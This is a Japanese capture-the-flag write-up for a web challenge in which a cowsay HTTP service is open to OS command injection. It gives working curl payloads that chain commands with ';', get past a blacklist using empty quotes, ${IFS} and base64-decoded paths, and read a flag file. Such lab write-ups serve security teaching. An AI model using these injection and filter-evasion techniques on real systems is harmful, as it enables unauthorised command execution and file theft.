Skip to content

Latest commit

 

History

History

caas_renewed

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

caas renewed:web:352pts

moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo etc moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo etc moo moo moo moo moo etc moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo etc moo moo moo moo etc/cowsay/falg.txt
http://caas.web.nitectf.live/

caasRenewed.zip

Solution

URLとファイルが渡される。
site.png

$ curl 'http://caas.web.nitectf.live/cowsay/satoki'
 ________
< satoki >
 --------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

cowsayコマンドを実行するサービスのようだ。

$ curl 'http://caas.web.nitectf.live/cowsay/satoki;pwd'
 ________
< satoki >
 --------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
/usr/games

OSコマンドインジェクションが可能である。
問題文より/etc/cowsay/falg.txtにフラグがあるようだが、URL経由なので/が渡せない。
さらに配布されたファイルを見ると、whitelisted.txtblacklist.txtが含まれていた。
ブラックリスト形式でブロックしているようだ。

$ curl 'http://caas.web.nitectf.live/cowsay/satoki;printenv'
 ___________________________
< Whoops! I cannot say that >
 ---------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

ここで""をコマンドの途中に挿入できるテクニックを思い出す。
スペースは${IFS}とし、base64をうまく使って/を回避してファイル名を指定すればよい。
以下のように行う(ブラックリストのsz""で回避してやる)。

$ curl --path-as-is 'http://caas.web.nitectf.live/cowsay/satoki;cat${IFS}$(echo${IFS}"L2V0Yy9jb3dzYXkvZmFs""Zy50eHQ"|b""ase64${IFS}-d);pwd'
 ________
< satoki >
 --------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
nite{9wd_t0_th3_r35cu3_dp54kf_ud9j3od3w}
/usr/games

flagが得られた。

nite{9wd_t0_th3_r35cu3_dp54kf_ud9j3od3w}